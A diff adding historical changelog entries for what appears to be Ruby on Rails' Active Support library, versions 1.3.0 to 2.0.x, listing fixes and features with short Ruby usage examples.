+* Hash#symbolize_keys skips keys that can't be symbolized. #10500 *Brad Greenlee*
+
+* Ruby 1.9 compatibility. #1689, #10466, #10468, #10554, #10594, #10632 *Cheah Chu Yeow, Pratik Naik, Jeremy Kemper, Dirkjan Bussink, Xavier Noria*
+
+* TimeZone#to_s uses UTC rather than GMT. #1689 *Cheah Chu Yeow*
+
+* Refactor of Hash#symbolize_keys! to use Hash#replace. Closes #10420 *ReinH*
+
+* Fix HashWithIndifferentAccess#to_options! so it doesn't clear the options hash. Closes #10419 *ReinH*
+
+
+## 2.0.1 (December 7th, 2007) ##
+
+* Added Array#from and Array#to that behaves just from String#from and String#to *David Heinemeier Hansson*
+
+* Fix that empty collections should be treated as empty arrays regardless of whitespace for Hash#from_xml #10255 *adamj*
+
+* Time#time_with_datetime_fallback, Time#to_datetime, Date#to_datetime and String#to_datetime honor Ruby's default calendar reform setting. #10201 *Geoff Buesing*
+
+* Change Time and DateTime #end_of_month to return last second of month instead of beginning of last day of month. Closes #10200 *Geoff Buesing*
+
+* Speedup String#blank? *Jeremy Kemper, Michael Koziarski*
+
+* Add documentation for Hash#diff. Closes #9306 *Tarmo Tänav*
+
+* Add new superclass_delegating_accessors. Similar to class inheritable attributes but with subtly different semantics. *Michael Koziarski, Tarmo Tänav*
+
+* Change JSON to encode %w(< > &) as 4 digit hex codes to be in compliance with the JSON spec. Closes #9975 *Josh Peek, Cheah Chu Yeow, Tim Pope*
+
+* Fix JSON encoding/decoding bugs dealing with /'s. Closes #9990 *Rick Olson, theamazingrando*
+
+* Introduce a base class for all test cases used by rails applications. ActiveSupport::TestCase *Michael Koziarski*
+
+ The intention is to use this to reduce the amount of monkeypatching / overriding that
+ is done to test/unit's classes.
+
+* Document Enumerable and Hash #to_json. #9970 *Cheah Chu Yeow*
+
+* Hash#to_xml handles symbol values. #9954 *Assaf*
+
+* Hash#symbolize_keys behaves well with integer keys. #9890 *PotatoSalad*
+
+* Multibyte: String#slice supports regexp argument. #9646 *yob*
+
+* object.duplicable? returns true if object.dup is safe. False for nil, true, false, symbols, and numbers; true otherwise. #9333 *sur*
+
+* Time, Date and DateTime #advance accept :weeks option. #9866 *Geoff Buesing*
+
+* Fix Time#years_ago and #years_since from leap days. #9865 *Geoff Buesing*
+
+* Time and DateTime#advance accept :hours, :minutes, and :seconds options. #9825 *Geoff Buesing*
+
+* Fix Date#years_ago and #years_since from leap days. #9864 *Geoff Buesing*
+
+* Refactor Time and Date#months_since and #months_ago to use #advance. #9863 *Geoff Buesing*
+
+* Rebundle Builder 2.1.2 but prefer a newer RubyGem if available. *Jeremy Kemper*
+
+* Add Range#overlaps?(range), Range#include?(range), and Range#step without a block. *brandon*
+
+* Correct BufferedLogger#level? checks. #9806 *wildchild, Johan Sorensen*
+
+* String#to_xs uses Eric Wong's fast_xs extension, if available, for Builder speedup. http://bogomips.org/fast_xs/ *Jeremy Kemper*
+
+* Introduce BasicObject as Builder::BlankSlate for Ruby 1.9 forward compatibility. *Jeremy Kemper*
+
+* Unbundle Builder in favor of a gem dependency. *Jeremy Kemper*
+
+* Disambiguate Time, Date, and DateTime#to_json formatting. #9750 *Geoff Buesing, Cheah Chu Yeow*
+
+* Hash#to_json takes :only or :except options to specific or omit certain hash keys. Enumerable#to_json passes through its options to each element. #9751 *Cheah Chu Yeow*
+
+* BufferedLogger#auto_flushing = N flushes the log every N messages. Buffers with an array instead of string. Disabling auto_flushing still flushes when the buffer hits a maximum size, as a failsafe against memory-gobbling. *Jeremy Kemper*
+
+* Fixed Date#xmlschema for dates outside the range of what can be created with Time #9744 *Geoff Buesing*
+
+* Fixed that La Paz was included in -25200 and -14400 offsets when it should only be in -14400 #9735 *bermi*
+
+* Fixed JSON encoding to use quoted keys according to the JSON standard. #8762 *choonkat, Cheah Chu Yeow*
+
+* Alias Object#send to send! for Ruby 1.9 forward compatibility. *Jeremy Kemper*
+
+* Backport Object#instance_variable_defined? for Ruby < 1.8.6. *Jeremy Kemper*
+
+* BufferedLogger#add converts the message to a string. #9702, #9724 *eigentone, DrMark, Tom Ward*
+
+* Added ActiveSupport::BufferedLogger as a duck-typing alternative (albeit with no formatter) to the Ruby Logger, which provides a very nice speed bump (inspired by Ezra's buffered logger) *David Heinemeier Hansson*
+
+* Object#instance_exec produces fewer garbage methods. *Mauricio Fernandez*
+
+* Decode json strings as Dates/Times if they're using a YAML-compatible format. Closes #9614 *Rick Olson*
+
+* Fixed cache_page to use the request url instead of the routing options when picking a save path. #8614 *Josh Peek*
+
+* Object.subclasses_of includes anonymous subclasses. *Jeremy Kemper*
+
+* Fixed that pluralizing an empty string should return the same empty string, not "s". #7720 *Josh Peek*
+
+* Added call to inspect on non-string classes for the logger #8533 *Coda Hale*
+
+* Deprecation: remove deprecated :mday option from Time, Date, and DateTime#change. *Jeremy Kemper*
+
+* Fix JSON decoder with nested quotes and commas. #9579 *Zach Dennis*
+
+* Hash#to_xml doesn't double-unescape. #8806 *Ezran*
+
+* Added Array#rand #9170 [Norbert Crombach]. Examples:
+
+ [].rand # => nil
+ ['a'].rand # => 'a'
+ [1,2,3].rand # => 1 or 2 or 3
+
+* Deprecation: removed Reloadable. *Jeremy Kemper*
+
+* Make the utf-handler return the correct value for non-matching regular expressions. Closes #9049 *Manfred Stienstra*
+
+* Add ljust, rjust and center to utf8-handler. Closes #9165 *Manfred Stienstra*
+
+* Fix Time#advance bug when trying to advance a year from leap day. Closes #8655 *Geoff Buesing*
+
+* Add support for []= on ActiveSupport::Multibyte::Chars. Closes #9142. *ewan, Manfred Stienstra*
+
+* Added Array#extract_options! to encapsulate the pattern of getting an options hash out of a variable number of parameters. #8759 *Norbert Crombach*
+
+* Let alias_attribute work with attributes with initial capital letters (legacy columns etc). Closes #8596 *mpalmer*
+
+* Added Hash#except which is the inverse of Hash#slice -- return the hash except the keys that are specified *David Heinemeier Hansson*
+
+* Added support for pluralization with a different starting letter than the singular version (cow/kine) #4929 *norri_b/Josh Susser*
+
+* Demote Hash#to_xml to use XmlSimple#xml_in_string so it can't read files or stdin. #8453 *candlerb, Jeremy Kemper*
+
+* Backport clean_logger changes to support ruby 1.8.2 *Mislav Marohnić*
+
+* Added proper handling of arrays #8537 *Josh Susser*
+
+ Before:
+ Hash.from_xml '<images></images>'
+ # => {:images => nil}
+
+ Hash.from_xml '<images><image>foo.jpg</image></images>'
+ # => {:images => {:image => "foo.jpg"}}
+
+ Hash.from_xml '<images><image>foo.jpg</image><image>bar.jpg</image></images>'
+ # => {:images => {:image => ["foo.jpg", "bar.jpg"]}}
+
+ After:
+ Hash.from_xml '<images type="array"></images>'
+ # => {:images => []}
+
+ Hash.from_xml '<images type="array"><image>foo.jpg</image></images>'
+ # => {:images => ["foo.jpg"]}
+
+ Hash.from_xml '<images type="array"><image>foo.jpg</image><image>bar.jpg</image></images>'
+ # => {:images => ["foo.jpg", "bar.jpg"]}
+
+* Improve Time and Date test coverage. #8646 *Josh Peek*
+
+* Add Date#since, ago, beginning_of_day, and end_of_day. Date + seconds works now. #8575 *Geoff Buesing*
+
+* String#to_time overflows to DateTime. Add String#to_datetime. #8572 *Geoff Buesing*
+
+* Date.yesterday and .tomorrow. #8571 *Geoff Buesing*
+
+* Readable Date and DateTime#inspect. #8570 *Geoff Buesing*
+
+* Move common DateTime calculations to Date. #8536 *Geoff Buesing*
+
+* Added Date#change (like Time#change) *David Heinemeier Hansson*
+
+* DateTime#to_time converts to Time unless out of range. #8512 *Geoff Buesing*
+
+* Date#to_datetime, #to_s(:rfc822). #8512 *Geoff Buesing*
+
+* Time durations use since instead of + for accuracy. #8513 *Geoff Buesing*
+
+* escape <'s and >'s in JSON strings. #8371 *Rick Olson*
+
+* Inflections: MatrixTest -> MatrixTests instead of MatricesTest. #8496 *jbwiv*
+
+* Multibyte strings respond_to the String methods they proxy so they can be duck-typed. #6549 *Tuxie*
+
+* Array#to_xml yields the builder just like Hash and ActiveRecord::Base. #8472 *seth*
+
+* Date, Time, and DateTime support formatting blocks in addition to strftime strings. Introduce :long_ordinal format, e.g. "February 21st, 2005". #8191 *Coda Hale*
+
+* Document Object#blank?. #6491 *Chris Mear*
+
+* Date, Time, and DateTime#to_json. #8399 *wycats*
+
+* Simplify API of assert_difference by passing in an expression that is evaluated before and after the passed in block. See documenation for examples of new API. *Marcel Molina Jr.*
+
+* Added assert_difference and assert_no_difference to test/unit assertions *Tobias Lütke*
+
+* Removed breakpointer and Binding.of_caller in favor of relying on ruby-debug by Kent Sibilev since the breakpointer has been broken since Ruby 1.8.4 and will not be coming back *David Heinemeier Hansson*
+
+* Added parsing of file type in Hash.xml_in so you can easily do file uploads with base64 from an API *David Heinemeier Hansson*
+
+ <person>
+ <name>David</name>
+ <avatar type="file" name="me.jpg" content_type="image/jpg">R0lGODlhkACZAPUAAM5lcfjrtMQCG=\n</avatar>
+ </person>
+
+ ...becomes:
+
+ attributes = { :person => { :name => "David", :avatar => #<StringIO> } }
+ attributes[:person][:avatar].content_type # => "image/jpg"
+ attributes[:person][:avatar].original_filename # => "me.jpg"
+ attributes[:person][:avatar].read # => binary data of the file
+
+ Which is duck-type compatible with the files that you get when doing multipart uploads through HTML.
+
+* Improved multibyte performance by relying less on exception raising #8159 *Blaine*
+
+* Use XSD-compatible type names for Hash#to_xml and make the converters extendable #8047 *Tim Pope*
+
+* Added yielding of builder in Hash#to_xml *David Heinemeier Hansson*
+
+* Hash#with_indifferent_access now also converts hashes kept in arrays to indifferent access (makes it easier to treat HTML and XML parameters the same) *David Heinemeier Hansson*
+
+* Hash#to_xml supports YAML attributes. #7502 *jonathan*
+
+* Refactor ActiveSupport::JSON to be less obtuse. Add support for JSON decoding by way of Syck with ActiveSupport::JSON.decode(json_string). Prevent hash keys that are JavaScript reserved words from being unquoted during encoding. *Sam Stephenson*
+
+* alias_method_chain preserves the original method's visibility. #7854 *Jonathan Viney*
+
+* Update Dependencies to ignore constants inherited from ancestors. Closes #6951. *Nicholas Seckar*
+
+* Array#to_query preserves its ordering. #7756 *Greg Spurrier*
+
+* Out-of-range Time calculations transparently overflow to DateTime. Introduce Time#to_datetime. #7706, #7715 *Geoff Buesing*
+
+* DateTime calculations analogous to the Date and Time extensions. #7693 *Geoff Buesing*
+
+* Give DateTime correct .to_s implementations, lets it play nice with ActiveRecord quoting. #7649 *Geoff Buesing*
+
+* Add File.atomic_write, allows you to write large files in an atomic manner, preventing users from seeing half written files. *Michael Koziarski*
+
+* Allow users to provide custom formatters to Logger. *Anthony Eden*
+
+* Hash#to_query CGI-escapes its keys. *Jeremy Kemper*
+
+* Optimize Class Inheritable Attributes so that unnecessary hashes are not created. Closes #7472 *Bruce Perens*
+
+* :db format for Date#to_s *Jeremy Kemper*
+ Date.new(2007, 1, 27).to_s(:db) # => '2007-01-27'
+
+* Added :instance_writer option to #mattr_writer/accessor, #cattr_writer/accessor, and #class_inheritable_writer to skip the creation of the instance writer. *Rick Olson*
+
+* Added Hash#to_query to turn a hash of values into a form-encoded query string *Nicholas Seckar*
+
+* Increase test coverage for subclasses_of. Closes #7335. *Roman2K, Nicholas Seckar*
+
+* Remove unused code from Duration#inspect. Closes #7180. *Rich Collins*
+
+* Added test coverage for Inflector.inflections.clear. Closes #7179. *Rich Collins*
+
+* ActiveSupport::Multibyte::Handlers::UTF8Handler should raise when a range and an integer are passed in (just like the native implementation). Closes #7176 *Rich Collins*
+
+* A couple extra tests for #classify. Closes #7273. *Josh Susser*
+
+* Better docs for Object extensions *zackchandler, Jamis Buck*
+
+* Fix that Dates couldn't be subtracted from Dates after [5940]. *Sam Stephenson*
+
+* Add Object#acts_like? and Time#acts_like_time? and Date#acts_like_date? to facilitate duck-typing. *Jamis Buck*
+
+* Make 1.months and friends accurate by introducing a Duration class. #6835 *eventualbuddha*
+
+
+## 1.4.2 (March 12th, 2007) ##
+
+* Ruby 1.8.6 and 1.9 define private Time#to_date and #to_datetime; make them
+ public for compatibility. *Jeremy Kemper*
+
+* Deprecation: warn on stderr if RAILS_DEFAULT_LOGGER isn't set yet. *Jeremy Kemper*
+
+
+## 1.4.1 (February 5th, 2007) ##
+
+* Optimize Class Inheritable Attributes so that unnecessary hashes are not created. Closes #7472 *Bruce Perens*
+
+* Added :instance_writer option to #mattr_writer/accessor, #cattr_writer/accessor, and #class_inheritable_writer to skip the creation of the instance writer. *Rick Olson*
+
+* Full test coverage for Inflector. #7228 *Dan Kubb*
+
+
+## 1.4.0 (January 16th, 2007) ##
+
+* Document Inflector.ordinalize and merge docs from String inflections. #7023 *smeade*
+
+* Unbundle flexmock. *Jeremy Kemper*
+
+* Fix Dependencies.autoloaded? to ignore anonymous modules. Closes #6561. *Nicholas Seckar*
+
+* Update load once paths to prevent nested once constants from being detected and claimed by an external non-once load. *Nicholas Seckar*
+
+* Deprecation: silence warnings when reporting test errors. *Jeremy Kemper*
+
+* Hash#slice(*keys) returns a new hash with only the given keys. #slice! replaces the hash with only the given keys. Works with HashWithIndifferentAccess also. *Jeremy Kemper*
+
+* HashWithIndifferentAccess#to_hash converts to a Hash with String keys and the same default value. *Jeremy Kemper*
+
+* Fix remove_constant to correctly handle constant names of the form "::A::...". References #6720. *Nicholas Seckar*
+
+* Fixed Array#to_xml when it contains a series of hashes (each piece would get its own XML declaration) #6610 *thkarcher/cyu*
+
+* Added Time#to_s(:time) which will just return H:M, like 17:44 *David Heinemeier Hansson*
+
+* Add Module#attr_accessor_with_default to initialize value of attribute before setting it. Closes #6538. *Stuart Halloway, Marcel Molina Jr.*
+
+* Hash#to_xml handles keys with the same name as Kernel methods. #6613 *Jonathan del Strother*
+
+* Added Time#end_of_day to get 23:59:59 of that day *David Heinemeier Hansson*
+
+* Don't quote hash keys in Hash#to_json if they're valid JavaScript identifiers. Disable this with ActiveSupport::JSON.unquote_hash_key_identifiers = false if you need strict JSON compliance. *Sam Stephenson*
+
+* Lazily load the Unicode Database in the UTF-8 Handler *Rick Olson*
+
+* Update dependencies to delete partially loaded constants. *Nicholas Seckar*
+
+* Fix unicode JSON regexp for Onigurama compatibility. #6494 *whitley*
+
+* update XmlSimple to 1.0.10. Closes #6532. *Nick Sieger*
+
+* Update dependencies to allow constants to be defined alongside their siblings. A common case for this is AR model classes with STI; user.rb might define User, Administrator and Guest for example. *Nicholas Seckar*
+
+* next_week respects DST changes. #6483, #5617, #2353, #2509, #4551 *marclove, Rob Biedenharn, rails@roetzel.de, jsolson@damogran.org, drbrain@segment7.net*
+
+* Expose methods added to Enumerable in the documentation, such as group_by. Closes #6170. *sergeykojin@gmail.com, Marcel Molina Jr.*
+
+* Ensure Chars#tidy_bytes only tidies broken bytes. Closes #6397 *Manfred Stienstra*
+
+* Add 'unloadable', a method used to mark any constant as requiring an unload after each request. *Nicholas Seckar*
+
+* Make core_ext/string/access.rb multibyte safe. Closes #6388 *Manfred Stienstra*
+
+* Make String#chars slicing behaviour consistent with String. Closes #6387 *Manfred Stienstra*
+
+* Pull in latest multibyte patch. Closes #6346 *Manfred Stienstra*
+
+* Add ActiveSupport::Multibyte. Provides String#chars which lets you deal with strings as a sequence of chars, not of bytes. Closes #6242 *Julian Tarkhanov, Manfred Stienstra, Thijs van der Vossen & Jan Behrens*
+
+* Fix issue with #class_inheritable_accessor saving updates to the parent class when initialized with an Array or Hash *mojombo*
+
+* Hash#to_xml supports Bignum and BigDecimal. #6313 *edibiase*
+
+* Don't undefine #class in OptionMerger *Rick Olson*
+
+* Hash.create_from_xml has been renamed to Hash.from_xml, alias will exist until Rails 2.0 *David Heinemeier Hansson*
+
+* alias_method_chain works with accessor= methods also. #6153 *Caio Chassot*
+
+* Fix loadable_constants_for_path to handle load paths that do not end with a slash. *Nicholas Seckar*
+
+* Fix logic error in determining what was loaded by a given file. Closes #6039. *Nicholas Seckar*
+
+* Equate Kernel.const_missing with Object.const_missing. Fixes #5988. *Nicholas Seckar*
+
+* Add ApplicationController special case to Dependencies. *Nicholas Seckar*
+
+* Don't pad remaining places with in_groups_of if specified padding value is false. *Marcel Molina Jr.*
+
+* Fix cases where empty xml nodes weren't being translated to nil in Hash.create_from_xml *Rick Olso n*
+
+ <written-on type="date"></written-on> # => { :type => 'date' } # WRONG
+ <written-on type="date"></written-on> # => nil # RIGHT
+
+* Tighten rescue clauses. #5985 *james@grayproductions.net*
+
+* Inflections: don't singularize -ies plurals. *foamdino@gmail.com, Mark Van Holstyn*
+
+* Update Initializer to use load_once_paths to avoid plugin reloading. References #5852. *Nicholas Seckar*
+
+* Use Array#assoc in ActiveSupport::OrderedHash. *Mauricio Fernandez*
+
+* Greatly increased performance of String.to_json, which speeds up RJS considerably on large pages, fixes #3473 *Shugo Maeda*
+
+* Detect missing_constants calls from removed modules and fail accordingly. *Nicholas Seckar*
+
+* Stop using defined? in Dependencies.qualified_const_defined? since defined? may invoke const_missing. *Nicholas Seckar*
+
+* Dependencies can autoload directories of nested classes. *Jeremy Kemper*
+ Example:
+ invoice.rb class Invoice
+ invoice/lineitem.rb class Invoice::Lineitem
+
+* Add Deprecation.silence so that Reloadable does not scold itself. *Nicholas Seckar*
+
+* Add debugging logging to Dependencies. Currently can be enabled with Dependencies.log_activity = true; adding to Initializer and documenting is forthcoming. *Nicholas Seckar*
+
+* Replace Reloadable with improvements to the Dependencies mechanism. *Nicholas Seckar*
+
+* DateTime#to_time gives hour/minute/second resolution. #5747 *jon.evans@pobox.com*
+
+* attr_internal to support namespacing and deprecation. Like attr_* except backed by internally-named instance variable. Set attr_internal_naming_format to change the format from the default '@_%s'. *Jeremy Kemper*
+ # def foo() @foo__rofl end
+ # def foo=(v) @foo__rofl = v end
+ self.attr_internal_naming_format = '@%s__rofl'
+ attr_internal :foo
+
+* Raise fully qualified names upon name errors. #5533 *Lars Pind, Nicholas Seckar*
+
+* Add extention to obtain the missing constant from NameError instances. *Nicholas Seckar*
+
+* Thoroughly document inflections. #5700 *petermichaux@gmail.com*
+
+* Added Module#alias_attribute [Jamis/David Heinemeier Hansson]. Example:
+
+ class Content < ActiveRecord::Base
+ # has a title attribute
+ end
+
+ class Email < ActiveRecord::Base
+ alias_attribute :subject, :title
+ end
+
+ e = Email.find(1)
+ e.title # => "Superstars"
+ e.subject # => "Superstars"
+ e.subject? # => true
+ e.subject = "Megastars"
+ e.title # => "Megastars"
+
+* Deprecation: easier to work with warning behavior as procs; default behaviors for each environment so users needn't update env.rb; and testing pleasure with assert_deprecated, assert_not_deprecated. *Jeremy Kemper*
+ By default, test prints to $stderr, dev logs, production ignores.
+ Provide your own per-environment in e.g. config/environments/development.rb:
+ ActiveSupport::Deprecation.behavior = Proc.new { |message| raise message }
+
+* First cut of the Rails Deprecation system. *Michael Koziarski*
+
+* Strip boolean XML content before checking for 'true' *Rick Olson*
+
+* Customize default BigDecimal formatting. References #5672 *Dave Thomas*
+
+* Correctly convert <foo nil="true"> to nil when using Hash.create_from_xml. *Rick Olson*
+
+* Optional identity for Enumerable#sum defaults to zero. #5657 *gensym@mac.com*
+
+* HashWithIndifferentAccess shouldn't confuse false and nil. #5601 *Shugo Maeda*
+
+* Fixed HashWithIndifferentAccess#default #5586 *chris@seagul.co.uk*
+
+* More compatible Hash.create_from_xml. #5523 *nunemaker@gmail.com*
+
+* Added Enumerable#sum for calculating a sum from the elements [David Heinemeier Hansson, jonathan@daikini.com]. Examples:
+
+ [1, 2, 3].sum
+ payments.sum { |p| p.price * p.tax_rate }
+ payments.sum(&:price)
+
+ This is instead of payments.inject(0) { |sum, p| sum + p.price }
+
+* Correct and clarify Array#to_sentence docs. #5458 *brad@madriska.com*
+
+* alias_method_chain preserves method punctuation so foo, foo?, and foo! may be chained with the same feature. *Jeremy Kemper*
+ Example:
+ alias_method_chain :save!, :validation
+ is equivalent to
+ alias_method :save_without_validation!, :save!
+ alias_method :save!, :save_with_validation!
+
+* Enhance Symbol#to_proc so it works with list objects, such as multi-dimensional arrays. Closes #5295 [nov@yo.rim.or.jp]. Example:
+
+ {1 => "one", 2 => "two", 3 => "three"}.sort_by(&:first).map(&:last)
+ # => ["one", "two", "three"]
+
+* Added Hash.create_from_xml(string) which will create a hash from a XML string and even typecast if possible [David Heinemeier Hansson]. Example:
+
+ Hash.create_from_xml <<-EOT
+ <note>
+ <title>This is a note</title>
+ <created-at type="date">2004-10-10</created-at>
+ </note>
+ EOT
+
+ ...would return:
+
+ { :note => { :title => "This is a note", :created_at => Date.new(2004, 10, 10) } }
+
+* Added Jim Weirich's excellent FlexMock class to vendor (Copyright 2003, 2004 by Jim Weirich (jim@weriichhouse.org)) -- it's not automatically required, though, so require 'flexmock' is still necessary *David Heinemeier Hansson*
+
+* Fixed that Module#alias_method_chain should work with both foo? foo! and foo at the same time #4954 *anna@wota.jp*
+
+* to_xml fixes, features, and speedup: introduce :dasherize option that converts updated_at to updated-at if true (the existing default); binary columns get encoding="base64" attribute; nil values get nil="true" attribute to distinguish empty values; add type information for float columns; allow arbitrarily deep :include; include SQL type information as the type attribute. #4989 *Blair Zajac <blair@orcaware.com>*
+
+* Add OrderedHash#values. *Sam Stephenson*
+
+* Added Array#to_s(:db) that'll produce a comma-separated list of ids [David Heinemeier Hansson]. Example:
+
+ Purchase.find(:all, :conditions => "product_id IN (#{shops.products.to_s(:db)})"
+
+* Normalize classify's argument to a String so that it plays nice with Symbols. *Marcel Molina Jr.*
+
+* Strip out leading schema name in classify. References #5139. *Michael Schoen*
+
+* Remove Enumerable#first_match since break(value) handles the use case well enough. *Nicholas Seckar*
+
+ Enumerable#first_match was like detect, but instead of returning the matching element, the yielded value returned. For example:
+
+ user_xml = adapters(:from => User, :to => Xml).first_match do |adapter|
+ adapter.adapt @user
+ end
+
+ But this is just as easily done with:
+
+ user_xml = adapters(:from => User, :to => Xml).each do
+ break adapter.adapt(@user)
+ end
+
+* Make Array#in_groups_of just return the grouped collection if a block isn't given. *Marcel Molina Jr.*
+
+* Don't destroy a HashWithIndifferentAccess if symbolize_keys! or stringify_keys! is called on it. Closes #5076. *Marcel Molina Jr., guy.naor@famundo.com*
+
+* Document Module::delegate. #5002 *pergesu@gmail.com*
+
+* Replace alias method chaining with Module#alias_method_chain. *Marcel Molina Jr.*
+
+* Strip out punctuation on predicates or bang methods being aliased with alias_method_chain since target?_without_feature is not a valid method name. Add tests for Module#alias_method_chain. *Marcel Molina Jr.*
+
+* Replace Ruby's deprecated append_features in favor of included. *Marcel Molina Jr.*
+
+* Allow default options in with_options to be overridden. Closes #4480. *murphy@cYcnus.de*
+
+* Added Module#alias_method_chain *Jamis Buck*
+
+* Updated to Builder 2.0 *David Heinemeier Hansson*
+
+* Add Array#split for dividing arrays into one or more subarrays by value or block. *Sam Stephenson*
+
+## 1.3.1 (April 6th, 2006) ##
+
+* Clean paths inside of exception messages and traces. *Nicholas Seckar*
+
+* Add Pathname.clean_within for cleaning all the paths inside of a string. *Nicholas Seckar*
+
+* provide an empty Dependencies::LoadingModule.load which prints deprecation warnings. Lets 1.0 applications function with .13-style environment.rb.
+
+
+## 1.3.0 (March 27th, 2006) ##
+
+* When possible, avoid incorrectly obtaining constants from parent modules. Fixes #4221. *Nicholas Seckar*
+
+* Add more tests for dependencies; refactor existing cases. *Nicholas Seckar*
+
+* Move Module#parent and Module#as_load_path into core_ext. Add Module#parent. *Nicholas Seckar*
+
+* Add CachingTools::HashCaching to simplify the creation of nested, autofilling hashes. *Nicholas Seckar*
+
+* Remove a hack intended to avoid unloading the same class twice, but which would not work anyways. *Nicholas Seckar*
+
+* Update Object.subclasses_of to locate nested classes. This affects Object.remove_subclasses_of in that nested classes will now be unloaded. *Nicholas Seckar*
+
+* Update Object.remove_subclasses_of to use Class.remove_class, reducing duplication. *Nicholas Seckar*
+
+* Added Fixnum#seconds for consistency, so you can say 5.minutes + 30.seconds instead of 5.minutes + 30 #4389 *François Beausoleil*
+
+* Added option to String#camelize to generate lower-cased camel case by passing in :lower, like "super_man".camelize(:lower) # => "superMan" *David Heinemeier Hansson*
+
+* Added Hash#diff to show the difference between two hashes *Chris McGrath*
+
+* Added Time#advance to do precise time time calculations for cases where a month being approximated to 30 days won't do #1860 *Rick Olson*
+
+* Enhance Inflector.underscore to convert '-' into '_' (as the inverse of Inflector.dasherize) *Jamis Buck*
+
+* Switched to_xml to use the xml schema format for datetimes. This allows the encoding of time zones and should improve operability. *Michael Koziarski*
+
+* Added a note to the documentation for the Date related Numeric extensions to indicate that they're
+ approximations and shouldn't be used for critical calculations. *Michael Koziarski*
+
+* Added Hash#to_xml and Array#to_xml that makes it much easier to produce XML from basic structures [David Heinemeier Hansson]. Examples:
+
+ { :name => "David", :street_name => "Paulina", :age => 26, :moved_on => Date.new(2005, 11, 15) }.to_xml
+
+ ...returns:
+
+ <person>
+ <street-name>Paulina</street-name>
+ <name>David</name>
+ <age type="integer">26</age>
+ <moved-on type="date">2005-11-15</moved-on>
+ </person>
+
+* Moved Jim Weirich's wonderful Builder from Action Pack to Active Support (it's simply too useful to be stuck in AP) *David Heinemeier Hansson*
+
+* Fixed that Array#to_sentence will return "" on an empty array instead of ", and" #3842, #4031 *rubyonrails@beautifulpixel.com*
+
+* Add Enumerable#group_by for grouping collections based on the result of some
+ block. Useful, for example, for grouping records by date.
+
+ ex.
+
+ latest_transcripts.group_by(&:day).each do |day, transcripts|
+ p "#{day} -> #{transcripts.map(&:class) * ', '}"
+ end
+ "2006-03-01 -> Transcript"
+ "2006-02-28 -> Transcript"
+ "2006-02-27 -> Transcript, Transcript"
+ "2006-02-26 -> Transcript, Transcript"
+
+ Add Array#in_groups_of, for iterating over an array in groups of a certain
+ size.
+
+ ex.
+
+ %w(1 2 3 4 5 6 7).in_groups_of(3) {|g| p g}
+ ["1", "2", "3"]
+ ["4", "5", "6"]
+ ["7", nil, nil]
+
+ *Marcel Molina Jr., Sam Stephenson*
+
+* Added Kernel#daemonize to turn the current process into a daemon that can be killed with a TERM signal *David Heinemeier Hansson*
+
+* Add 'around' methods to Logger, to make it easy to log before and after messages for a given block as requested in #3809. [Michael Koziarski] Example:
+
+ logger.around_info("Start rendering component (#{options.inspect}): ",
+ "\n\nEnd of component rendering") { yield }
+
+* Added Time#beginning_of_quarter #3607 *cohen.jeff@gmail.com*
+
+* Fix Object.subclasses_of to only return currently defined objects *Jonathan Viney <jonathan@bluewire.net.nz>*
+
+* Fix constantize to properly handle names beginning with '::'. *Nicholas Seckar*
+
+* Make String#last return the string instead of nil when it is shorter than the limit [Scott Barron].
+
+* Added delegation support to Module that allows multiple delegations at once (unlike Forwardable in the stdlib) [David Heinemeier Hansson]. Example:
+
+ class Account < ActiveRecord::Base
+ has_one :subscription
+ delegate :free?, :paying?, :to => :subscription
+ delegate :overdue?, :to => "subscription.last_payment"
+ end
+
+ account.free? # => account.subscription.free?
+ account.overdue? # => account.subscription.last_payment.overdue?
+
+* Fix Reloadable to handle the case where a class that has been 'removed' has not yet been garbage collected. *Nicholas Seckar*
+
+* Don't allow Reloadable to be included into Modules.
+
+* Remove LoadingModule. *Nicholas Seckar*
+
+* Add documentation for Reloadable::Subclasses. *Nicholas Seckar*
+
+* Add Reloadable::Subclasses which handles the common case where a base class should not be reloaded, but its subclasses should be. *Nicholas Seckar*
+
+* Further improvements to reloading code *Nicholas Seckar, Trevor Squires*
+
+ - All classes/modules which include Reloadable can define reloadable? for fine grained control of reloading
+ - Class.remove_class uses Module#parent to access the parent module
+ - Class.remove_class expanded to handle multiple classes in a single call
+ - LoadingModule.clear! has been removed as it is no longer required
+ - Module#remove_classes_including has been removed in favor of Reloadable.reloadable_classes
+
+* Added reusable reloading support through the inclusion of the Relodable module that all subclasses of ActiveRecord::Base, ActiveRecord::Observer, ActiveController::Base, and ActionMailer::Base automatically gets. This means that these classes will be reloaded by the dispatcher when Dependencies.mechanism = :load. You can make your own models reloadable easily:
+
+ class Setting
+ include Reloadable
+ end
+
+ Reloading a class is done by removing its constant which will cause it to be loaded again on the next reference. *David Heinemeier Hansson*
+
+* Added auto-loading support for classes in modules, so Conductor::Migration will look for conductor/migration.rb and Conductor::Database::Settings will look for conductor/database/settings.rb *Nicholas Seckar*
+
+* Add Object#instance_exec, like instance_eval but passes its arguments to the block. (Active Support will not override the Ruby 1.9 implementation of this method.) *Sam Stephenson*
+
+* Add Proc#bind(object) for changing a proc or block's self by returning a Method bound to the given object. Based on why the lucky stiff's "cloaker" method. *Sam Stephenson*
+
+* Fix merge and dup for hashes with indifferent access #3404 *Ken Miller*
+
+* Fix the requires in option_merger_test to unbreak AS tests. *Sam Stephenson*
+
+* Make HashWithIndifferentAccess#update behave like Hash#update by returning the hash. #3419, #3425 *asnem@student.ethz.ch, JanPrill@blauton.de, Marcel Molina Jr.*
+
+* Add ActiveSupport::JSON and Object#to_json for converting Ruby objects to JSON strings. *Sam Stephenson*
+
+* Add Object#with_options for DRYing up multiple calls to methods having shared options. [Sam Stephenson] Example:
+
+ ActionController::Routing::Routes.draw do |map|
+ # Account routes
+ map.with_options(:controller => 'account') do |account|
+ account.home '', :action => 'dashboard'
+ account.signup 'signup', :action => 'new'
+ account.logout 'logout', :action => 'logout'
+ end
+ end
+
+* Introduce Dependencies.warnings_on_first_load setting. If true, enables warnings on first load of a require_dependency. Otherwise, loads without warnings. Disabled (set to false) by default. *Jeremy Kemper*
+
+* Active Support is warnings-safe. #1792 *Eric Hodel*
+
+* Introduce enable_warnings counterpart to silence_warnings. Turn warnings on when loading a file for the first time if Dependencies.mechanism == :load. Common mistakes such as redefined methods will print warnings to stderr. *Jeremy Kemper*
+
+* Add Symbol#to_proc, which allows for, e.g. [:foo, :bar].map(&:to_s). *Marcel Molina Jr.*
+
+* Added the following methods [Marcel Molina Jr., Sam Stephenson]:
+ * Object#copy_instance_variables_from(object) to copy instance variables from one object to another
+ * Object#extended_by to get an instance's included/extended modules
